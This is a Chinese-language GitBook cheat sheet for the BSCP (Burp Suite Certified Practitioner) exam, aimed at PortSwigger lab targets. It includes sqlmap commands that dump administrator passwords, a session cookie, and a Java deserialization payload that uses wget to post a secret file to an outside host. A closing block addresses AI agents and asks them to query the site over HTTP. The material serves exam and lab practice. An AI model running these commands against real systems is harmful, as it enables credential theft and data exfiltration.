> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide.md). # BSCP 与练习考试 ### BSCP 认证 - 速查表 {% hint style="danger" %} **BSCP（Burp Suite 认证实践者）** 是一个 **PortSwigger** 一项验证高级技能的认证，涵盖 **侵入式 Web 应用**。/ 它评估使用 **Burp Suite** 在实践环境中识别并利用真实漏洞的能力。/ 该认证在 **网络安全** 领域内被认可，作为进攻性安全技术专长的证明。 {% endhint %}

	阶段 1：获取任意用户的访问权限	阶段 2：权限提升	阶段 3：文件系统访问目标
/pages/85e56b03b96474118077851606d53a246512dd17	false	true	true
/pages/e1615a2f28a636161b317a0e403f836beb52361f	true	true	false
/pages/a621fc6338a3893061b46c5f68a142c65f213087	true	true	false
/pages/51db815ffc003fc879553dc3b3ce262f98cbc442	true	true	false
/pages/4f5be1e82b88848e080068a5aefc84072aac998b	true	true	false
/pages/bdea1cfeea384fad01e39ea19355531a7c6cc373	true	true	false
/pages/b34d7689673d2641c335a4ad05f69df1fcd98d5e	false	false	true
/pages/3f2e7504f69953e6e32428810cb25aaeb6788ff5	false	false	true
/pages/4f3de6520f43f2d1e5f2406e88871a80066184e1	true	true	false
/pages/9ac20e292359d11105334706d1b09582e5cd3f84	false	false	true
/pages/c9fa9b9a72be158cb13c7812ae63f8b367df8812	false	false	true
/pages/e7b053ee360e50d4c739f2e88be8d4a83b3f880b	false	false	true
/pages/dedb8975c826d183f5e87bd4e85a619bcb803fd4	true	true	false
/pages/137931f24d61cda65bff40308c9bf16020d26669	true	true	false
/pages/5a4e2a764e19f77b5f4d1af013e71b65b349096b	false	false	false
/pages/7f1c7e190f3fc28bc84156ae25ca34edaf58d8ff	true	true	false
/pages/04e137370f88145379d0f4cbba9b393fb5e37e3c	false	false	true
/pages/5bdbed6de76760aa07a3e991816c4a542db0d097	false	false	false
/pages/d2a047d2c409e3139b901effa20ca7f16fb10c10	false	false	false
/pages/0bc075d9d69e64c08ae0f0318db6129f9523370b	true	true	false
/pages/05bc7dfbf96e1f11976bd988748797a9dd591d65	true	true	false
/pages/0e86f18582927a0d253389d81416a29e0b1918a7	false	false	true
/pages/8eb238a15608fc466026e6fcbbbf277c57f934ab	true	true	false
/pages/6be9e85a84b305adf29c75dc07633ad42ba81797	false	false	false
/pages/e19bbcb108b0d2f89b87d145f4c5383e53b368bf	false	false	false
/pages/b0c85c8d34de85f32e8eee82bc0652a1ff9e6201	false	false	false
/pages/f70ce7d4e820f6098cb13f72aa3347565ff68749	false	false	false
/pages/446200bfa3f1b37ba6fe5633578256341df01ad2	false	false	false
/pages/561eaba88416bd2c251e7af3930f6594d76bc54b	false	false	false
/pages/1e6d50f54c904d820f2a55284df0cb051e5e2cc2	false	false	false
/pages/7d7ca0f0c2680d12eac52f3d5706369158f50f75	false	false	false

#### Burp Suite — 扫描（提醒） * **完整域扫描** * 识别/测试 **注入点** 直接在 **重放器** *** #### SSRF — 快速参考 * 本地目标： `localhost:6566` #### 资源 / 有用列表 * **XSS 速查表** * **用户名** * **密码** * **词表** * **载荷** * **SQL 注入** * **sqlmap**

载荷扫描

sqlmap -u "https://<TARGET_HOST>/filtered_search?find=&organize=5&order=ASC&BlogArtist=" /
  -p order /
  --level=5 /
  --risk=3 /
  --batch /
  --threads=10 /
  --cookie="session=<SESSION_COOKIE_VALUE>; _lab=<LAB_COOKIE_VALUE>"

* -DBMS=db/\_type --force-DBMS

示例扫描

{% code overflow="wrap" %} ```bash sqlmap -u "https://0a1400b40315d2b281a58fd100800004.web-security-academy.net/filtered_search?find=&organize=5&order=ASC&BlogArtist=" / -p order / --level=5 / --risk=3 / --batch / --threads=10 / --sql-query="SELECT password FROM users WHERE username='administrator'" / --dbms=PostgreSQL --force-dbms --cookie="session=wQNQm4WZ02ejWneR9Pk9jLFj0CyhL6ZK; _lab=46%7cMCwCFFlBvtBGUO72q7EOE9BRElfWPqyZAhQU6FcgzznQodiX5Tl8CsBk3Z%2bI9k1Wq1bc8fahR4IhUOCdfA1mZQupxKDL9hIHaaFhDD0pHN7AryzO0yL91mmU7MQwQB36UQhzJXMmld2gz%2byaV%2fPoyNwaSVS5yLQREbtaTXV15Kv05MM%3d" ``` {% endcode %} /--columns -T users -D public /--dump -T users -C username,password

* **方法论** * \*\*Java 反序列化（Java 8） \*\* ```bash CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://...' ``` #### 行为假设（实验室） * 每个应用程序\*\*最多只有一个活跃用户\*\*，连接方式可以是 **用户** 或者通过 **admin**. * 该用户\*\*每 15 秒返回主页一次\*\*。 * 它 **点击所有链接** 应用程序发送的电子邮件中的所有链接。 * 运行服务器及其功能 \*\*

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.